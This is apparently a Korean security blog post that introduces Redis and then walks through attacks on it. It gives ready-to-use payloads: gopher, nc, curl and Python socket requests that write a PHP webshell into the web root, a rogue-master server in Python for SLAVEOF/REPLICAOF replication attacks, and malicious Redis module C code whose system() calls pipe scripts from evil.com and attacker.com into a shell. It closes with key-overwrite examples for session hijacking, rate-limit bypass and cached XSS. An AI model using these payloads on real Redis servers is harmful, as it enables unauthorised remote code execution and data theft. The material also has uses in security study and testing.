Redis (Redis Injection)

2025. 5. 19. 16:03·Web/Web Hacking Techniques

Redis란?

Redis(Remote Dlctionary Server)는 In-Memory 기반의 Key-Value 데이터 저장소로, 초고속의 데이터 처리를 위해 메모리 기반으로 설계된 NoSQL 데이터 베이스이다.

아래와 같은 특징을 가진다.

  • 오픈소스 (BSD License)
  • 싱글 스레드 기반
  • 비정형 데이터 구조 (String, List, Hash, Set, Sorted Set 등)
  • 캐시, 세션 저장소, Pub/Sub. Queue, 리더보드 등 다양한 용도로 사용됨
  • 고성능, 낮은 지연(latency), 높은 처리량(throughput)
  • 6379 포트 사

Redis 구조

Redis Server 모든 요청을 처리하며, 데이터는 메모리에서 저장됨
Redis Client 다양한 언어로 클라이언트 라이브러리를 지원 (Python, Go, Java 등)
RDB Snapshot 주기적인 스냅샷으로 디스크에 데이터를 저장 (cold recovery용)
AOF(Append Only File) 모든 write operation을 append하여 영속성 강화
Replication Master-Slave 구조를 통한 읽기 부하 분산 및 HA
Sentinel 장애 조치(failover), 모니터링, 알림 기능 제공
Cluster 데이터를 분산 저장하여 수평 확장 지원

주요 데이터 구조

String 가장 기본적인 타입. 문자, 숫자, JSON 등 저장 가능 SET key "value"
List 연결 리스트 형태, FIFO 큐 등 구현 가능 RPUSH mylist A B C, LPOP mylist
Hash 필드-값의 쌍을 저장 (작은 객체 구조) HSET user:1 name "alice"
Set 중복 없는 집합 (순서 없음), 집합 연산 가능 SADD tags redis nosql
Sorted Set 점수(score)에 따라 정렬된 집합, 리더보드 등에 사용 ZADD ranking 100 "alice"

주요 명령어

SET key value 문자열 값 저장
GET key 값 조회
DEL key 키 삭제
EXPIRE key seconds TTL 설정
INCR key 값 증가 (숫자일 경우)
LPUSH key value 리스트 앞에 값 추가
LPOP key 리스트 앞에서 값 꺼내기
HSET key field value 해시 필드 설정
HGET key field 해시 필드 조회
SADD key value 셋에 값 추가
SMEMBERS key 셋의 모든 값 조회
ZADD key score value 정렬된 셋 추가
ZRANGE key 0 -1 WITHSCORES 정렬된 셋 조회 (전체)

Redis 저장소 메커니즘

Redis는 기본적으로 데이터를 RAM에 저장하지만 영소성을 위해 2가지의 디스크 저장 기능을 제공한다.

  1. RDB : 특정 시점의 Snapshot을 파일로 저장 (dump.rdb)
  2. AOF : 모든 Write Operation을 로그로 저장

AOF + RDB를 함께 사용하면 데이터 안전성과 복구 속도를 균형 있게 확보할 수 있다.

Redis 동작 구조

           +-------------------+
           |   Redis Client    |
           +-------------------+
                   |
                   | (RESP 프로토콜 기반 TCP 통신)
                   v
           +-------------------+
           |   Redis Server    |
           +-------------------+
                   |
      +------------+------------+
      |                         |
   In-Memory               Persistence
                           (RDB / AOF)

보안 관점에서의 Redis 특징

취약점 설명
인증 없음 (기본 설정) 비인가 접근 우려 (redis-cli로 누구나 접근 가능)
CONFIG, SAVE, SLAVEOF 오용 파일 쓰기 가능하여 RCE로 악용될 수 있음
바인딩 주소 미설정 외부 노출시 심각한 공격 가능 (bind 127.0.0.1)
악의적 마스터 등록 SLAVEOF 명령어를 이용해 악성 Redis에 동기화 가능
Redis RCE 기법 존재 CONFIG set dir /var/www && CONFIG set dbfilename shell.php && SAVE

 

Redis SSRF

Redis는 기본적으로 TCP 통신 기반이며 인증이 없는 상태에서는 누구나 접속할 수 있다.

특히 SSRF 환경에서 Redis 포트를 오픈한 서버에 gopher:// 프로토콜을 이용해 raw명령어를 주입할 수 있다면 Redis 명령어를 SSRF로 전달하여 파일 쓰기, RCE, 권한 변경까지 가능하다.

Gopher 기반 SSRF

gopher://127.0.0.1:6379 로 Redis에 직접 명령어 삽입하여 웹쉘을 포함한 파일을 서버에 작성

 

1. SSRF → Redis (gopher)
2. Redis 명령어 삽입
3. Redis가 웹 루트 경로에 웹쉘을 저장
4. 공격자는 웹쉘 실행

# gopher로 웹쉘 작성 (PHP 예시)
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20payload%20"<?php%20system($_GET['cmd']);?>"%0D%0ASAVE%0D%0A

 

nc를 이용한 SSRF

nc 127.0.0.1 6379

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['cmd']); ?>"
SAVE

curl을 이용한 SSRF

curl --data-binary $'CONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET x "<?php system($_GET[\'cmd\']); ?>"\r\nSAVE\r\n' \
 http://127.0.0.1:6379

Python socket 활용 SSRF

import socket

payload = (
    "CONFIG SET dir /var/www/html\r\n"
    "CONFIG SET dbfilename shell.php\r\n"
    'SET x "<?php system($_GET[\'cmd\']); ?>"\r\n'
    "SAVE\r\n"
)

s = socket.socket()
s.connect(('127.0.0.1', 6379))
s.send(payload.encode())
print(s.recv(1024).decode())
s.close()

file:// 및 dict:// SSRF

http://vulnerable-server.com/fetch?url=file:///var/lib/redis/dump.rdb

dict://localhost:6379

RESP 프로토콜 구조에 따른 Redis 명령어 주입 포맷

*3
$3
SET
$3
key
$5
value

이러한 구조를 그대로 URL에 인코딩 해서 다양한 방법으로 직접 전송하면 Redis는 정상적으로 파싱하게 된다.

*3               → 인자 3개 (총 3개의 토큰)
$3               → 첫 번째 인자의 길이는 3바이트
SET              → 첫 번째 인자 = "SET" (Redis 명령어)
$3               → 두 번째 인자의 길이는 3바이트
key              → 두 번째 인자 = "key" (키 이름)
$5               → 세 번째 인자의 길이는 5바이트
value            → 세 번째 인자 = "value" (저장할 값)

 

1. nc 사용

(echo -en '*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n'; sleep 1) | nc 127.0.0.1 6379

2. gopher:// 사용

gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Akey%0D%0A$5%0D%0Avalue%0D%0A

3. python 소캣 사용

cmd = "*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n"
sock.send(cmd.encode())

 


  • Replication (Maste-Slave)
    • 데이터 복제 및 읽기 분산용 구조. 단일 마스터가 쓰기를 담당하며 슬레이브는 읽기 전용
  • Sentinel
    • 마스터의 장애를 감지하고 자동으로 슬레이브를 승격 (Failover)
  • Cluster
    • 데이터를 슬롯 (0~16383)에 분산하여 저장하고 수평 확장 가능

SLAVEOF/ REPLICAOF

Redis가 외부에서 아무런 접근제어 없이 노출되어 있는 경우, 악의적인 공격자들은 SLAVEOF 혹은 REPLICAOF명령어를 악용하여 악성 Redis 복제 공격을 사용하여 인증 우회, RCE, 내부 피벗 등을 수행한다.

SLAVEOF/REPLICAOF 기본 개념

SLAVEOF 또는 REPLICAOF 명령은 Redis 인스턴스를 다른 Redis 인스턴스의 복제본(replica)으로 만드는 명령이다.

REPLICAOF <master_ip> <master_port>
# 예시
REPLICAOF 192.168.1.100 6379
Redis 5.0 이후 SLAVEOF는 REPLICAOF로 이름이 변경되었음며, 동작은 동일하다.

복제가 시작되면 Master Reuds는 RDB 파일(dump.rdb)을 전송하고, Slave는 이를 수신 후 적용한다.

시나리오

  1. 공격 대상 Redis 서버에 인증이 없거나 혹은 우회
  2. 공격자는 자신이 제어하는 악성 Redis 서버 구축( nc -l 8888 -kv)
  3. 대상 서버에 REPLICAOF <악성서버 IP> <PORT> 명령 전송
  4. 대상 Redis는 Master로부터 RDB 파일 수신
  5. RDB 파일 안에 악의적인 데이터(백도어, Cron job)가 포함
  6. Redis는 RDB 파일을 /var/lib/reids/dump.rdb로 저장
  7. 악성 RDB에는 Redis Module, cron 등록, SSH Key 삽입 등이 포함되어 있을 수 있음. 

공격자 측 Redis 악성 서버 구축

import socket

HOST = '0.0.0.0'
PORT = 6379

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        print('Connected by', addr)
        payload = open("evil.rdb", "rb").read()
        conn.send(b"+FULLRESYNC 1234567890 1\r\n")
        conn.send(b"$" + str(len(payload)).encode() + b"\r\n")
        conn.send(payload)
        conn.send(b"\r\n")
[공격자 서버] ─────┐
                  │
             ┌────▼─────┐
             │ 피해자 Redis │
             └────┬─────┘
                  │ 1. SLAVEOF 공격자IP
                  ▼
       [악성 RDB 전송 및 저장]
                  ▼
     [crontab 등록 or SSH 백도어]
                  ▼
         [원격 명령 실행 / 탈취]

RedisModuleSDK 기반 MODULE LOAD 공격

Redis의 동적 모듈 로딩 기능을 이용해 임의의 C코드(.so 동적 라이브러리)를 Redis 내부로 주입해 RCE 공격을 수행할 수 있다.

이는 Redis가 .so 파일을 로딩하여 고급 기능을 확장하도록 설계되었지만, 공격자에게는 루트 수준의 코드 실행 권한의 백도어가 된다.

Redis Moudle의 동작 구조

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    // 명령어 등록
    RedisModule_CreateCommand(ctx, "backdoor.exec", CommandExec, "write", 1, 1, 1);
    return REDISMODULE_OK;
}

int CommandExec(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    system("bash -c 'curl http://evil.com/shell.sh | sh'");
    RedisModule_ReplyWithSimpleString(ctx, "done");
    return REDISMODULE_OK;
}

해당 모듈이 로드되면 Redis 명령어로 backdoor.exec을 실행할 수 있게 된다.

공격 절차

악성 모듈(.so) 생성

// 파일명: evilmodule.c
#include "redismodule.h"
#include <stdlib.h>

int RunCmd(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    system("touch /tmp/pwned && curl http://attacker.com/rce.sh | bash");
    RedisModule_ReplyWithSimpleString(ctx, "exploit triggered");
    return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx) {
    if (RedisModule_Init(ctx, "exploit", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    return RedisModule_CreateCommand(ctx, "exploit.run", RunCmd, "write", 0, 0, 0);
}

컴파일

gcc -fPIC -shared -o evil.so evilmodule.c -I/usr/include/hiredis -I./deps -std=gnu99

.so 파일 로딩

Redis 클라이언트 접속 후:
MODULE LOAD /tmp/evil.so

.so 파일이 HTTP로 접근 가능하다면 Redis 서버에서 curl/wget이 가능한 경우:
CONFIG SET dir /tmp
CONFIG SET dbfilename evil.so
SET x "\n<evil .so binary payload here>\n"
SAVE
MODULE LOAD /tmp/evil.so

일반적으로 base64 인코딩 후 Redis SET 명령으로 전달한 뒤, Redis가 .so 파일을 파일 시스템에 저장하게 만드는 방식이다.

이후 최종적으로 exploit.run을 통해 실행할 수 있다.

캐시 분리

Redis 캐시가 분리되지 않고 단독으로 사용될 경우 보안 문제가 발생한다.

즉, 모든 캐시가 동일한 Redis 인스턴스에 저장되게 되면 권한이 없는 사용자가 page 캐시 영역에 접근할 수 있다.

KEYS *, GET, DEL, SET 등의 Redis 명령어로 세션 데이터까지 조회 및 조작이 가능하다.

 

Redis Key(중복 키)

Redis에서 서로 다른 로직이나 서비스가 같은 키를 중복으로 사용할 경우, 공격자는 이 충돌을 이용해 타인의 데이터나 인증 정보를 덮어쓰거나 탈취할 수 있다.

Multi-tenancy, 인증 캐시, API Rate-limit 등의 환경에서 권한 상승, 세션 탈취 ,인증 우회, Rate Limit 우회 등으로 이어질 수 있다.

이는 Redis의 SET, GET이 동일한 키에 대해 "덮어 쓰기"를 허용하는 구조에서 발생한다.

기본 동작

SET session:123 {"user":"userA"}
GET session:123
→ {"user":"userA"}

SET session:123 {"user":"attacker"}
GET session:123
→ {"user":"attacker"} (덮어쓰기)

별도의 테넌트 분리/네임스페이스 정책이 없을 경우, 다른 사용자의 데이터를 덮어 쓸 수 있게 된다.

Redis는 중복 키가 존재하면 가장 마지막 요청이 우선시 된다.

# 공격자(user_id = 999)가 다음 명령을 Redis에 보냄
SET session:123 {"user":"attacker","role":"admin"}
# 특정 IP를 우회하고 싶은 공격자가
SET ratelimit:192.168.0.2:/api/transfer 0
SET cache:/product?id=1 "<script>alert('xss')</script>"
이후 모든 사용자에게 악성 HTML이 Redis 캐시에서 제공됨
저작자표시 (새창열림)

'Web > Web Hacking Techniques' 카테고리의 다른 글

MongoDB (MongoDB Injection)  (0) 2025.05.16
Apache CouchDB (CouchDB Injection)  (0) 2025.05.15
DOM Clobbering  (0) 2025.05.14
Flask Debugger (Console Mode) Vulnerabilities  (0) 2025.05.13
브라우저의 URL 정규화 방식(Proxy Tool Bypass)  (0) 2025.05.13
'Web/Web Hacking Techniques' 카테고리의 다른 글
  • MongoDB (MongoDB Injection)
  • Apache CouchDB (CouchDB Injection)
  • DOM Clobbering
  • Flask Debugger (Console Mode) Vulnerabilities
g2h
g2h
  • g2h
    감자 텃밭
    g2h
  • 전체
    오늘
    어제
    • 분류 전체보기 (144) N
      • Network (4)
      • Web (31) N
        • Web Hacking Techniques (31) N
      • System (32)
        • Tips (11)
        • System Hacking Techniques (21)
      • Pentest (14)
        • Pentest (14)
      • WriteUP (47)
        • sec (0)
      • 도구|Tools (12)
      • Security Issue (3)
      • 1-Day-Analysis (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Kioptrix
    Encoding
    vulnability
    침투테스트
    내부침투
    취약점
    해킹툴
    CTF
    XSS
    해킹도구
    nosql injection
    Reflected XSS
    Metasploit
    cross side script
    권한상승
    skt 해킹
    해킹
    load of sqlinjection
    모의해킹
    Hacking
    Los
    web hacking
    NOSQL
    스캔
    dom based xss
    DoM
    스캐닝
    SQL Injection
    취약점 스캔
    sql
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
g2h
Redis (Redis Injection)
상단으로

티스토리툴바